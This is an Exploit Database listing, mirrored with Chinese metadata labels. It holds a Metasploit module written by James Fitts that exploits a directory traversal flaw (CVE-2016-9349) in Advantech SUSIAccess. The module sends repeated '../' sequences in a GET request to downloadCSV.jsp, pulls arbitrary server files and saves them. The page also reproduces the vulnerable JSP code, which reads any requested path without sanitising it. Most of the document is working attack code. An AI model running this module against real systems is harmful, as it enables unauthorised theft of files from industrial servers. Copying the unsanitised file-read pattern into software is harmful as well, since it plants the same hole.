Advantech SUSIAccess < 3.0 - Directory Traversal / Information Disclosure (Metasploit)

• Exploit Database
• 38 阅读

• 作者： James Fitts
  日期： 2017-08-01
• 类别：

  • webapps
  平台：

  • jsp
• 来源：https://www.exploit-db.com/exploits/42401/

• require 'msf/core'
  
  class MetasploitModule < Msf::Auxiliary
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::HttpClient
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Advantech SUSIAccess Server Directory Traversal Information Disclosure',
  			'Description'=> %q{
  				This module exploits an information disclosure vulnerability found in
  				Advantech SUSIAccess <= version 3.0. The vulnerability is triggered when
  				sending a GET request to the server with a series of dot dot slashes (../)
  				in the file parameter. 
  			},
  			'Author' => [ 'james fitts' ],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2016-9349' ],
  					[ 'ZDI', '16-628' ],
  					[ 'BID', '94629' ],
  					[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-04' ]
  				],
  			'DisclosureDate' => 'Dec 13 2016'))
  
  		register_options(
  			[
  				OptInt.new('DEPTH', [ false, 'Levels to reach base directory', 10]),
  				OptString.new('FILE', [ false, 'This is the file to download', 'boot.ini']),
  				Opt::RPORT(8080)
  			], self.class )
  	end
  
  	def run
  
  	depth = (datastore['DEPTH'].nil? or datastore['DEPTH'] == 0) ? 10 : datastore['DEPTH']
  	levels = "/" + ("../" * depth)
  
  	file = "#{levels}#{datastore['FILE']}"
  	file = file.gsub(/ /, "%20")
  
  	res = send_request_raw({
  		'method'	=> 'GET',
  		'uri'		=> "/downloadCSV.jsp?file=#{file}",
  	})
  
  	if res and res.code == 200
  		loot = res.body
  		if not loot or loot.empty?
  			print_status("File from #{rhost}:#{rport} is empty...")
  			return
  		end
  		file = ::File.basename(datastore['FILE'])
  		path = store_loot('advantech_susiaccess.file', 'application/octet-stream', rhost, loot, file, datastore['FILE'])
  		print_status("Stored #{datastore['FILE']} to #{path}")
  		return
  	else
  		print_error("Something went wrong... Application returned a #{res.code}")
  	end
  
  	end
  end
  __END__
  <%@ page import="java.util.*,java.io.*" %> 
  <%
   File f = new File (getServletContext().getRealPath("/") + request.getParameter("file") );
   //set the content type(can be excel/word/powerpoint etc..)
   response.setContentType ("application/csv");
   //set the header and also the Name by which user will be prompted to save
   response.setHeader ("Content-Disposition", "attachment; filename=\""+request.getParameter("file").split("/")[2] +"\"");
   
   //get the file name
   String name = f.getName().substring(f.getName().lastIndexOf("/") + 1,f.getName().length());
   //OPen an input stream to the file and post the file contents thru the 
   //servlet output stream to the client m/c
   
  InputStream in = new FileInputStream(f);
  ServletOutputStream outs = response.getOutputStream();
  
  
  int bit = 256;
  int i = 0;
  try {
   while ((bit) >= 0) {
  bit = in.read();
  outs.write(bit);
   }
   //System.out.println("" +bit);
  } catch (IOException ioe) {
   ioe.printStackTrace(System.out);
  }
  //System.out.println( "n" + i + " bytes sent.");
  //System.out.println( "n" + f.length() + " bytes sent.");
  outs.flush();
  outs.close();
  in.close(); 
  
  %>